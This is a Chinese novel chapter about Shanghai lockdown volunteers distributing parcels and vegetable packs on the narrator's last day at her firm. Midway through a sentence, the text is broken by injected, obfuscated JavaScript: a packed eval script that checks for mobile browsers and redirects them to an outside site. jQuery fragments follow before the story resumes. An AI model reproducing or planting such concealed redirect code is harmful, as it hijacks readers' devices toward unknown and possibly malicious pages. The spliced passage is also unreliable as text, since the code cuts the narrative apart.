傍晚下起了阵雨，季节来到大门口时，小条已经站在991弄的货架前。其余各弄的志愿者也各就各位，登记，消毒，往来送货，货架前人影如织。橘粉色六层老楼被雨水打湿，颜色加深，就像宣纸上的颜料再叠加一笔颜料。在石青色天幕下，三街坊像一张湿润的胶片。
雨丝斜飞，触碰到货架的每一层，又向外弹开，仿佛透明的光线四散。世界缩小到一方天地，所有微型的景观都变大了。季节换好小蓝衣和蓝手套，悄然无声地走到他身后，猛地伸出一根手指戳了他左肩膀。他向左边转过头来时，季节躲到右边。他再转头看右边时，季节躲到左边，口中低声喝道：“拖车的条子！”
他回复暗号：“我喜欢大调的舞曲。”
喊出了对方的网名后，两人彼此点头致意，全身心投入工作。
有几袋外卖的小票摇摇欲坠，季节找来订书器重新订好，以免又要层层转发失物启示。她想起第一次当班的晚上也下着雨，橘黄色树叶随风飘零，像一封书信一样降落在货架上。那一晚留下的印象是潮湿、嘈杂而混乱，就像南方的雨季。
小条正在往每一层货架上喷消毒水，同时像教孩子一样和颜悦色地告诉季节：“我们先喷在货架上，包裹再放上去，这样底面就直接消毒了，只需要再喷其他几个面。”
季节说：“条子，有没有人跟你说过，你很像我初中时候的一个老师。”
小条说：“除了你，应该没人能跟我说哈。”
“那个老师特别温润，特别宽宏，特别和善……”季节极力搜刮着所有美好的词汇，“而且还对我很好，很喜欢我。”
“那是挺像的。”小条看着马路对面，目不斜视地说道。
心中忽然腾起别样的感觉，季节不知道该怎么接话。雨已经停了，恰好货架堆满，她装了满满一车，将小条留在门口，自己去送货了。记录单上有两列号码被圈出来，季节拍下来发在群里，配以文字：画圈的派送中。
不久，又有志愿者发照片到群里：打勾的正在派送中。
接着另一人紧随其后：线以上的派送中。
更有人头脑灵活，用戴手套的蓝手遮住尚未开始派送的部分：没遮住的正在派送中。
……
随着业务技术臻于纯熟，现在“派送的”大多不需要再手握一张小纸条，板车上有哪些楼的货物，基本都在心里。季节边走边送，边送边留意板车上剩余的包裹都在哪些楼栋，以便一条线串完，不走回头路。由于码货顺序得当，也确实一气呵成，没有来回奔走。
刚开始拖车那几天，经常走到某处才发现是死胡同，或者地势升高、板车上不去台阶，只得原路返折，从另一侧绕进去。还有两条里弄隐藏较深，要从一个小口进去，而后别有洞天，类似桃花源。如今这些难点已不是问题，季节觉得自己经验丰富，如同企业中的资深会计，各种业务处理都得心应手，稳健老到。
每件包裹放在楼门口，再最后检查一眼号码，拍照留证。空车返回时，总是神清气爽，脚步轻盈，幻想着那些居民下楼拿到包裹时的期待和慰藉。
走回到大门口，只见小条哼着歌记录快递，全然不像在加班之余来干活的人，反而如同在度假村里踏春一般。
季节等他唱完一整首歌，才鼓掌赞叹，此曲只应天上有。他指了指自己头上的白色棒球帽：“你一直没看到我帽子上的字吗？”
“太高了，看不到。”季节踮起脚来，伸长脖子去看。他弯下腰来，向她俯首。
帽子上写着：歌王。
季节哈哈笑起来，他哼了一声：“笑什么，不是吗？”
她说：“不是，我第一眼看成了欠王。你这买的盗版吧？”
“谁说的，我朋友送我的，你这是嫉妒行为。”
季节刚要再说，眼见景文躁动地现身，满场巡视，听各弄汇报，拿起这个，扔下那个，十分冲动。恰好这时货架较为疏朗，没有新的快递员和外卖员上门，她转身悄悄对小条说：“咱们去别的地方站会儿吧！”
小条轻轻笑了：“没事，我不太介意这个。”说完，把帽檐拉下来遮住脸，立正缩脖站在一边：“看不见我。”欠王两个大字，光明正大地昭示天下。
季节豪爽地站到他前面：“我挡着你！”
那一头，景文还在对赶来拉货的驱车大爷说：“叔叔，最近吃得还好吧？政府物资收到了吧？”
花泽类队长自言自语道，他吃得怎么样不知道，反正我用火腿肠煮了面条，掉色有点严重啊，汤都是粉红色了。
季节哈地一声大笑起来，最终还是被小条拉走了。两人一路跑到某条小巷子里，发现路边停着一辆自行车，车筐里还有一把喷壶。季节背着手详细看了一会儿，说：“这好像是一个志愿者大哥送货用的。”
小条长腿一迈，跨坐在自行车上，拎起喷壶，掂了两下。季节真诚地建议道：“你可以骑这个在三街坊里绕场，一边向四周喷消毒水。”
他笑了出来，摇头说：“我不做这种猥琐的事。”
季节惋惜地说：“我要是会骑车，我就这么干。”
“最近还饿吗？有没有再饿哭？”他调侃地看着季节，“这几天又组织订蔬菜包，两次，你订了没？”
“没有，两次报名我都错过了，当时在忙着做底稿。”季节苦涩地回答道，“还好我能刷快闪外卖，网上抢菜是从来没抢到过。”
“还忙着干活？”他拍了一下季节的头，“站好最后一班岗哦，够负责。”
季节长长地呼出一口气，说：“今天，是我lastday。”
小条又拍了一下她的头：“逃离不喜欢的地方，还不好？”
“好好好。”季节向大门口张望，已经过去将近五分钟，991的货架依旧没有新的包裹到来，这是前所未有的奇观，大概是这几天又发物资又订蔬菜包，大大缓解了居民找饭压力。
“羡慕你逃了。”小条将喷壶放回车筐，“昨天白天我出来接蔬菜包，回去加班到半夜。”
“经常加班也太苦了点，条儿，注意保养。”顿了顿，季节小心翼翼地问了一句，“昨天白天你出来干活了？”
她的心中泛起一阵淡淡的失望。他出来接货，却没有叫她一起。尽管本市每日确诊数字惊人，解封遥遥无期，却也终有竟时。谁知道解封后他们还会不会再见面呢？因此在解封之前，每一次同处都像是纪念，她以为小条应该和她一样珍惜。
他歪头看了看季节，轻声说：“怕你搬不动，所以没叫你。昨天的蔬菜包很沉的，每个有三四十斤。”
“是吗？”季节一下又高兴起来，“这么沉？你又进到车里往外传吗？其实你身上长的是机械伸缩手臂？”
“去去去。”他下了自行车，领着她走回到大门口，“找个人替一下大门口的活，你来帮我计数。”
“计数？”季节一时没有反应过来。
“今晚，又有一批蔬菜包到了。”他回头望了她一眼，“这次带你。”
“来了！”季节笑嘻嘻地跟在他身边，连蹦带跳，动若脱兔。隔壁几个货架的志愿者来多了，正好借调两人过来，替换季节和小条。
专门来协助接蔬菜包的志愿者也陆续到场，四处搜刮板车，大门口一时间热闹非凡，规模仅次于发政府物资那天。一行人出了大门口，远远地看见卡车过来了。
一包一包的塑料袋，装了满满一车。袋子里有各色蔬菜肉类，季节心痛了一下，后悔自己因沉浸工作而错时订购良机。
小条一人跳上车，马克站在车厢边，与他珠联璧合地
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15718047|173813||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
传递着。一个一个大包经由马克之手，传给板车边的壮汉，季节负责计数。
后来时间紧促，几个人一哄而上，踮脚从车厢里抓出几包，放上板车时各自报数，由本杰明负责把这些数加起来。这时季节也已经加入了抓大包的队伍，本杰明来接替她计数。
每个人都在尽量多捧几个大包下来，季节一次拿了四个，报数“四”，马克一次拿了七个，报数“七”。一辆板车堆满，大家便自动转移至下一辆，本杰明三头六臂地计数，不时紧张地大叫一声：“你们两个！一个一个报！”原来那两人报数声音撞在一起。
几辆板车往返无数趟，最终本杰明大喊够了够了，于是几人都涌进大门去，加入分配的队伍，将堆在大门里的汪洋大包按配额运送至各个弄。小条与卡车随行人员确认签字，送走卡车后立即回来，目光搜寻着季节。季节对他招了招手，就去配货了。
板车和自行车都上阵，还有不少人徒手拎着大包，送到各个弄的空地上，再由弄中各楼的楼长想办法带回去。
来沪之前，季节从不知道小区中的一个弄其实是一大片楼的合集，而非一条小胡同。好在并非每户都订购蔬菜包，因此满地大包的规模尚小于政府物资。
季节捞不到板车，也加入拎大包的行列，从爷爷山出发，一次拎两袋大踏步走到爹爹山，如此循环往复，直到那个弄的负责人宣布孙子已够，就再拎去下一个弄的地界。许多穿着小蓝衣的身影交错往来，如果上苍俯视人间，是否会观赏着三街坊上演的皮影戏。
小条留在门口接收快递外卖，尽职尽责地消毒和记录，不时拖着车出去送一趟，一个人就是一个团队。晚班如常进行着，与蔬菜包这一条业务线互相平行，组织架构相当科学。
忙完以后，恰好九点整。大家收摊，脱衣，互相消杀，愉快离去。小条留到最后，整理着记录单，把它们留在货架上，等待门卫大叔收去卖废纸。季节惊奇地问：“原来咱们的记录单从来都不留着吗？”
他笑出声来，说：“在你们事务所看来完全不合规，是吧？工作底稿竟然不留档，有问题啊。”
季节嘿嘿一笑，略微伤感地想到过了今晚，自己就不再是事务所高级税务咨询顾问。这唬人的名号，连带着种种痛苦或快乐的记忆，都将要告一段落。
地上还堆了几个蔬菜包，是卡车上的人友情赠送的，说如果谁家的蔬菜包有破损或缺漏，可以用这几包补偿。不过志愿者队伍水平过高，没有破坏任何一包。
小条叫住几个还没走的志愿者，叫他们原地瓜分，又自己拎起一包，双手递给季节：“给，拿回去吧。”
季节睁着眼睛，摇头推辞道：“我就不拿了，你带回去吧！”
小条却还是交给了她：“我都订了。干到这么晚不容易，拿上吧。”
季节接过来，看着地上剩余的几个大包，喃喃自语：“我们的OT。”
“哈。”小条顿时笑倒，像傻狍子一样重复道，“哎，我们的OT！”
“……”
回来洗澡洗衣，收拾完毕，季节破天荒地没有躺倒，而是坐在书桌前。职业生涯的最后一天，就这样热闹喧嚣地度过，而现在，一切都安静了，季节感到了怅然若失的孤独。
辞职时，与季节感情深厚的几个同事曾一起设想，离别那天会不会嚎啕大哭？没想到离别是在一个互不谋面的封城的夜里静静发生。
邮箱里有一封早就编辑好的告别信，按照事务所惯例，应在最后一天点出去。也正是由此引申出辞职的另两种叫法：交信，点了。忙季时，同事之间见面彼此问候，你怎么还不交信？我都准备点了。
点了以后，季节看着窗外那闪烁至深夜的霓虹大厦。正在播放《淡水暮色》的手机，忽然弹出一条消息：离职快乐。